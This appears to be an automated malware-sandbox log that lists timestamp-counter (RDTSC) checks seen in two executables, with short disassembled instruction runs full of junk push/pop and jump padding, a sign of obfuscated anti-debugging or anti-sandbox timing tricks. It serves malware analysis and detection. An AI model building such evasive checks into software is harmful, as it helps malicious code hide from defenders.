Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266FA3 second address: 1266FD9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FECA471BCA8h 0x0000000b jns 00007FECA471BCC2h 0x00000011 popad 0x00000012 pushad 0x00000013 pushad 0x00000014 push edi 0x00000015 pop edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266FD9 second address: 1267002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FECA473F0C3h 0x00000009 popad 0x0000000a jmp 00007FECA473F0BBh 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1267002 second address: 1267006 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266AFE second address: 1266B0E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FECA473F0B8h 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1266B0E second address: 1266B28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007FECA471BCA6h 0x0000000a pop ecx 0x0000000b push ecx 0x0000000c jmp 00007FECA471BCACh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268A9B second address: 1268AB3 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FECA473F0B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007FECA473F0BEh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268AB3 second address: 1268AB9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1268AB9 second address: 1268ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55802BB second address: 55802D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FECA471BCB1h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118888A second address: 118888F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 118888F second address: 11888BC instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jmp 00007FECA471BCABh 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FECA471BCB9h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55803A2 second address: 55803A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55803A6 second address: 55803C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55803C3 second address: 558041E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov bx, 0E12h 0x00000007 pushfd 0x00000008 jmp 00007FECA473F0C3h 0x0000000d sbb cx, 760Eh 0x00000012 jmp 00007FECA473F0C9h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b mov ebp, esp 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FECA473F0C8h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558041E second address: 5580422 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580422 second address: 5580428 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580428 second address: 5580441 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580441 second address: 5580445 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580445 second address: 558044B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558044B second address: 558045A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECA473F0BBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558045A second address: 558045E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558051E second address: 5580524 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580524 second address: 5580528 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580528 second address: 55805AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c pushad 0x0000000d mov edi, 3AD58528h 0x00000012 pushfd 0x00000013 jmp 00007FECA473F0C1h 0x00000018 sub al, FFFFFF96h 0x0000001b jmp 00007FECA473F0C1h 0x00000020 popfd 0x00000021 popad 0x00000022 mov edx, dword ptr [ebp+0Ch] 0x00000025 pushad 0x00000026 push esi 0x00000027 push edx 0x00000028 pop eax 0x00000029 pop edi 0x0000002a pushfd 0x0000002b jmp 00007FECA473F0C4h 0x00000030 adc si, 99E8h 0x00000035 jmp 00007FECA473F0BBh 0x0000003a popfd 0x0000003b popad 0x0000003c mov esi, edx 0x0000003e push eax 0x0000003f push edx 0x00000040 jmp 00007FECA473F0C5h 0x00000045 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55805AA second address: 55805E1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 mov di, si 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov al, byte ptr [edx] 0x0000000e jmp 00007FECA471BCB2h 0x00000013 inc edx 0x00000014 jmp 00007FECA471BCB0h 0x00000019 test al, al 0x0000001b pushad 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55805E1 second address: 55805E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 call 00007FECA473F0C8h 0x0000000a pushfd 0x0000000b jmp 00007FECA473F0C2h 0x00000010 sub al, 00000068h 0x00000013 jmp 00007FECA473F0BBh 0x00000018 popfd 0x00000019 pop ecx 0x0000001a popad 0x0000001b jne 00007FECA473F044h 0x00000021 mov al, byte ptr [edx] 0x00000023 jmp 00007FECA473F0C2h 0x00000028 inc edx 0x00000029 jmp 00007FECA473F0C0h 0x0000002e test al, al 0x00000030 pushad 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558062E second address: 5580632 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580632 second address: 5580636 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580636 second address: 558063C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558063C second address: 5580642 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580642 second address: 5580646 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580646 second address: 5580655 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub edx, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580655 second address: 5580674 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 call 00007FECA471BCB9h 0x00000009 pop esi 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580674 second address: 55806CD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FECA473F0BCh 0x00000009 jmp 00007FECA473F0C5h 0x0000000e popfd 0x0000000f jmp 00007FECA473F0C0h 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 mov edi, dword ptr [ebp+08h] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d movsx ebx, cx 0x00000020 jmp 00007FECA473F0C6h 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55806CD second address: 55806F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, 441BE5C4h 0x00000008 mov si, dx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e dec edi 0x0000000f pushad 0x00000010 jmp 00007FECA471BCB5h 0x00000015 push eax 0x00000016 push edx 0x00000017 mov bx, ax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55806F7 second address: 55806FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55806FB second address: 558070B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 lea ebx, dword ptr [edi+01h] 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558070B second address: 558070F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558070F second address: 5580713 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580713 second address: 5580719 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580719 second address: 558071F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558071F second address: 5580723 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580723 second address: 558076A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB4h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov al, byte ptr [edi+01h] 0x0000000e jmp 00007FECA471BCB0h 0x00000013 inc edi 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FECA471BCB7h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558076A second address: 55807A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA473F0C9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007FECA473F0BEh 0x00000010 jne 00007FED13FA739Eh 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55807A3 second address: 55807C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55807C0 second address: 5580838 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 9822h 0x00000007 pushfd 0x00000008 jmp 00007FECA473F0C3h 0x0000000d xor eax, 0E27751Eh 0x00000013 jmp 00007FECA473F0C9h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov ecx, edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007FECA473F0BCh 0x00000025 add cx, 7318h 0x0000002a jmp 00007FECA473F0BBh 0x0000002f popfd 0x00000030 mov ebx, ecx 0x00000032 popad 0x00000033 shr ecx, 02h 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007FECA473F0C1h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580838 second address: 558083E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 558083E second address: 55808EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rep movsd 0x0000000a rep movsd 0x0000000c rep movsd 0x0000000e rep movsd 0x00000010 rep movsd 0x00000012 jmp 00007FECA473F0BFh 0x00000017 mov ecx, edx 0x00000019 jmp 00007FECA473F0C6h 0x0000001e and ecx, 03h 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FECA473F0BEh 0x00000028 add ecx, 3A1A4238h 0x0000002e jmp 00007FECA473F0BBh 0x00000033 popfd 0x00000034 movzx ecx, di 0x00000037 popad 0x00000038 rep movsb 0x0000003a jmp 00007FECA473F0BBh 0x0000003f mov dword ptr [ebp-04h], FFFFFFFEh 0x00000046 jmp 00007FECA473F0C6h 0x0000004b mov eax, ebx 0x0000004d jmp 00007FECA473F0C0h 0x00000052 mov ecx, dword ptr [ebp-10h] 0x00000055 pushad 0x00000056 mov si, di 0x00000059 popad 0x0000005a mov dword ptr fs:[00000000h], ecx 0x00000061 push eax 0x00000062 push edx 0x00000063 pushad 0x00000064 mov ch, 3Ah 0x00000066 mov esi, ebx 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55808EB second address: 5580963 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a jmp 00007FECA471BCB0h 0x0000000f pop edi 0x00000010 pushad 0x00000011 jmp 00007FECA471BCAEh 0x00000016 pushfd 0x00000017 jmp 00007FECA471BCB2h 0x0000001c or ax, 0618h 0x00000021 jmp 00007FECA471BCABh 0x00000026 popfd 0x00000027 popad 0x00000028 pop esi 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007FECA471BCB5h 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580AE4 second address: 5580AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580AE8 second address: 5580AEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580AEC second address: 5580AF2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580AF2 second address: 5580B01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FECA471BCABh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5580B01 second address: 5580B05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: D3F335 second address: D3F33F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FECA471BCA6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: D3F33F second address: D3F343 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EB79B8 second address: EB79E4 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FECA471BCC4h 0x00000008 push eax 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EA77B5 second address: EA77CB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnc 00007FECA473F0B6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jg 00007FECA473F0B6h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EA77CB second address: EA77D1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EA77D1 second address: EA77E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FECA473F0BCh 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f pop eax 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EB6A3E second address: EB6A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EB6BB0 second address: EB6BB6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EB6BB6 second address: EB6BBA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EB6BBA second address: EB6BBE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EB700F second address: EB7013 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EB7013 second address: EB7044 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA473F0C3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FECA473F0C6h 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EBA25E second address: EBA262 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EBA262 second address: EBA28C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jno 00007FECA473F0C7h 0x0000000c popad 0x0000000d mov eax, dword ptr [eax] 0x0000000f jnp 00007FECA473F0C0h 0x00000015 push eax 0x00000016 push edx 0x00000017 push ebx 0x00000018 pop ebx 0x00000019 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EBA28C second address: EBA2A4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a jl 00007FECA471BCB8h 0x00000010 push eax 0x00000011 push edx 0x00000012 jp 00007FECA471BCA6h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EBA2A4 second address: EBA2A8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EBA348 second address: EBA34D instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EBA4AD second address: EBA4B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EBA4B3 second address: EBA4B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EBA4B7 second address: EBA4BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EBA4BB second address: EBA4EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D3352h], ebx 0x00000011 push 00000000h 0x00000013 pushad 0x00000014 xor esi, dword ptr [ebp+122D2BBEh] 0x0000001a mov esi, 7D58EADDh 0x0000001f popad 0x00000020 push B1FE71EFh 0x00000025 push eax 0x00000026 push edx 0x00000027 pushad 0x00000028 push esi 0x00000029 pop esi 0x0000002a jc 00007FECA471BCA6h 0x00000030 popad 0x00000031 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EBA4EC second address: EBA4F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: ECB2ED second address: ECB310 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007FECA471BCB2h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EAE49B second address: EAE4A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EAE4A1 second address: EAE4A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: ED902E second address: ED9041 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007FECA473F0BEh 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: ED9041 second address: ED9046 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: ED9182 second address: ED9191 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop ecx 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 jns 00007FECA473F0B6h 0x0000000f rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: ED9191 second address: ED9195 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: ED943A second address: ED9440 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: ED9440 second address: ED9444 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: ED9799 second address: ED979E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: ED9A92 second address: ED9AA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FECA471BCADh 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: ECD779 second address: ECD783 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FECA473F0B6h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EB189E second address: EB18B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FECA471BCB5h 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\DocumentsFCFIJEBFCG.exe	RDTSC instruction interceptor: First address: EDA2A3 second address: EDA2A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
